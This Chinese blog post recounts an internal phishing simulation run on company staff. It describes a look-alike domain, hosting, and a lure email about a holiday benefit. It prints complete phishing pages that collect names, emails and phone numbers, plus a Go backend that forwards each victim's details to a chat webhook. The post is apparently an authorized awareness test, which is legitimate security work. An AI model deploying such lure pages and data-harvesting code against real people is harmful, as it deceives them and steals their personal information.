事件背景
上个月针对公司全员进行了一次信息安全意识培训,于是为了验证一下培训效果,趁五一假期刚结束大家还没正式进入工作状态,开展了本次邮件钓鱼攻击。
模拟域名准备
邮件钓鱼的前提是可信度,我们可以通过购买与公司域名相似的域名,然后通过相似域名注册邮箱,达到以假乱真的效果,由于国内域名绑定服务器的话需要进行备案,因此没有在国内购买域名和服务器,在国外服务商Godaddy网站上购买域名的时候发现包含公司关键字的大部分域名均已被公司提前注册,还好有一个漏网之鱼:example.xyz,果断购买下来。
将域名的dns服务商解析到cloudflare平台,并解析两个子域名,分别为oa,api。
域名准备好以后,到vultr.com购买服务器,这个平台有一个好处是支持支付宝付款,可以使用我的邀请链接去注册:https://www.vultr.com/?ref=8988349-8H,有100美元的免费使用额度。
登陆到服务器上,安装一个宝塔面板,新建一个PHP项目和一个Go项目其中PHP项目为前端代码,Go项目为后端接口。
为了保证域名的可信度,又去腾讯云申请了两个域名的https免费证书,通过宝塔直接将https部署完毕,也可以直接使用宝塔的免费证书,前期域名准备完成。
前端访问页面:https://oa.example.xyz
后端接口地址:https://api.example.xyz
前端代码编写
由于这次钓鱼我们只收集用户姓名,邮箱,手机号,只需要简单的几个文本输入框即可,前端页面分为电脑端页面和手机端页面,通过index.php对用户user-agent进行分辨并跳转到不同的页面。
index.php
diaoyu.html
<html>
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="https://oa.example.xyz/favicon.ico" type="image/x-icon" />
<title>xxxx科技有限公司</title>
<style type="text/css">
body {
background-color: #d7eaf5;
}
.container {
width: 400px; /* 修改宽度为400px */
margin: 0 auto;
text-align: center;
}
input[type="text"],
input[type="email"],
input[type="tel"] {
border-radius: 8px;
border: none;
outline: none;
padding: 10px;
margin-bottom: 20px;
font-size: 16px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
transition: box-shadow 0.3s ease;
width: 100%;
max-width: 400px;
}
input[type="text"]:focus,
input[type="email"]:focus,
input[type="tel"]:focus {
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
}
button {
display: block;
margin: 20px auto;
border-radius: 8px;
border: none;
outline: none;
padding: 10px 20px;
font-size: 18px;
background-color: #008CBA;
color: white;
cursor: pointer;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
transition: background-color 0.3s ease;
}
button:hover {
background-color: #005f7f;
}
img {
display: block;
margin: 0 auto;
max-width: 400px; /* 添加最大宽度为400px */
}
</style>
</head>
<body>
<div class="container">
<img src="https://oa.example.xyz/logo.png" alt="logo" />
<input type="text" placeholder="员工姓名" id="name" />
<input type="email" placeholder="员工邮箱" id="email" />
<input type="tel" placeholder="联系电话" id="phone" />
<button onclick="submitData()">提交</button>
</div>
<script>
function submitData() {
var name = document.getElementById('name').value;
var email = document.getElementById('email').value;
var phone = document.getElementById('phone').value;
if (name === '' || email === '' || phone === '') {
alert('请填写完整信息');
return;
}
var emailPattern = /^w+@[a-z0-9]+.[a-z]{2,4}$/i;
if (!emailPattern.test(email)) {
alert('邮箱格式不正确');
return;
}
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://api.example.xyz/api/data');
xhr.setRequestHeader('Content-type', 'application/json');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert('提交成功');
}
};
var data = {
name: name,
email: email,
phone: phone
};
xhr.send(JSON.stringify(data));
}
</script>
</body>
</html>
phone.html
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title>xxxx科技有限公司</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
font-size: 16px;
line-height: 1.5;
color: #333;
}
.container {
max-width: 500px;
margin: 0 auto;
padding-top: 20px;
text-align: center;
}
img {
display: block;
margin: 0 auto;
max-width: 100%;
height: auto;
}
label {
display: block;
margin-bottom: 10px;
text-align: left;
}
input {
margin-bottom: 20px;
width: 100%;
border-radius: 5px;
transition: border-color 0.2s ease-in-out;
padding: 10px;
border: 1px solid #ccc;
}
input:focus {
outline: none;
border-color: #007aff;
box-shadow: 0 0 0 2px rgba(0, 122, 255, 0.3);
}
::placeholder {
color: #777;
}
button {
display: block;
margin: 20px auto 0;
background-color: #007aff;
color: #fff;
border: none;
border-radius: 5px;
padding: 15px;
font-size: 18px;
cursor: pointer;
transition: background-color 0.2s ease-in-out;
text-transform: uppercase;
}
button:hover {
background-color: #0052cc;
}
/* 对小屏幕设备应用的样式 */
@media (max-width: 768px) {
.container {
width: 100%;
padding-top: 10px;
}
input {
margin-bottom: 15px;
font-size: 16px;
}
button {
margin-top: 15px;
font-size: 16px;
}
}
/* 对大屏幕设备应用的样式 */
@media (min-width: 769px) {
.container {
max-width: 500px;
margin: 0 auto;
padding-top: 20px;
}
input {
margin-bottom: 20px;
font-size: 18px;
}
button {
margin-top: 20px;
font-size: 18px;
}
}
</style>
</head>
<body>
<div class="container">
<img src="https://oa.example.xyz/logo.png" alt="logo" />
<label for="name">员工姓名</label>
<input type="text" placeholder="请输入员工姓名" id="name" />
<label for="email">员工邮箱</label>
<input type="email" placeholder="请输入员工邮箱" id="email" />
<label for="phone">联系电话</label>
<input type="tel" placeholder="请输入联系电话" id="phone" />
<button onclick="submitData()">提交</button>
</div>
<script>
function submitData() {
var name = document.getElementById('name').value;
var email = document.getElementById('email').value;
var phone = document.getElementById('phone').value;
if (name === '' || email === '' || phone === '') {
alert('请填写完整信息');
return;
}
var emailPattern = /^w+@[a-z0-9]+.[a-z]{2,4}$/i;
if (!emailPattern.test(email)) {
alert('邮箱格式不正确');
return;
}
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://api.example.xyz/api/data');
xhr.setRequestHeader('Content-type', 'application/json');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert('提交成功');
}
};
var data = {
name: name,
email: email,
phone: phone
};
xhr.send(JSON.stringify(data));
}
</script>
</body>
</html>
后端代码编写
使用Golang的Gin框架,编写接口代码,通过接收前端传回的数据,对数据进行解析,并将解析后的数据通过企业微信机器人API发送到企业微信群里。
package main
import (
"bytes"
"encoding/json"
"net/http"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.POST("/api/data", func(c *gin.Context) {
var data map[string]string
if err := c.BindJSON(&data); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
content := "有鱼上钩了!n" +
">用户名:<font color="comment">" + data["name"] + "</font>n" +
">邮箱地址:<font color="comment">" + data["email"] + "</font>n" +
">手机号码:<font color="comment">" + data["phone"] + "</font>"
jsonData := gin.H{
"msgtype": "markdown",
"markdown": gin.H{
"content": content,
},
}
jsonBytes, _ := json.Marshal(jsonData)
resp, err := http.Post("https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxxxxxxxxxxx",
"application/json",
bytes.NewReader(jsonBytes))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
c.JSON(http.StatusOK, gin.H{"message": "pong"})
})
r.Run("0.0.0.0:5555")
}
钓鱼邮箱配置
写到一半不是很想写了,但是又已经写一半了,还是写下去吧。
直接通过https://work.weixin.qq.com/新建一个企业,然后把域名绑定到企业内就可以了,就不赘述了,这里还踩了一个坑就是之前我是通过163企业邮箱绑定的域名,但是我司使用的是腾讯企业邮箱,导致发送的邮件会被腾讯拦截,标记为垃圾邮件。
我把域名绑定到企业微信以后,就没有出现这个问题了。
钓鱼话术
刚好今天是五四青年节,编写了一段五四青年节福利领取通知,PC端链接处使用文字超链接,实际指向地址为https://oa.exmaple.xyz/diaoyu.html
,其实邮件写好后我留了很多容易被发现的点,包括邮件地址为随机字符串,二维码logo错误,url地址为diaoyu.html,同时企业微信也会提示邮件地址为外部邮件地址。
收网
邮件9点30分发出去的,网是10点收的。
结语
欢迎一键三连,点赞转发+关注。
原文始发于微信公众号(甲方叫我安服仔):记录一次邮件钓鱼
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论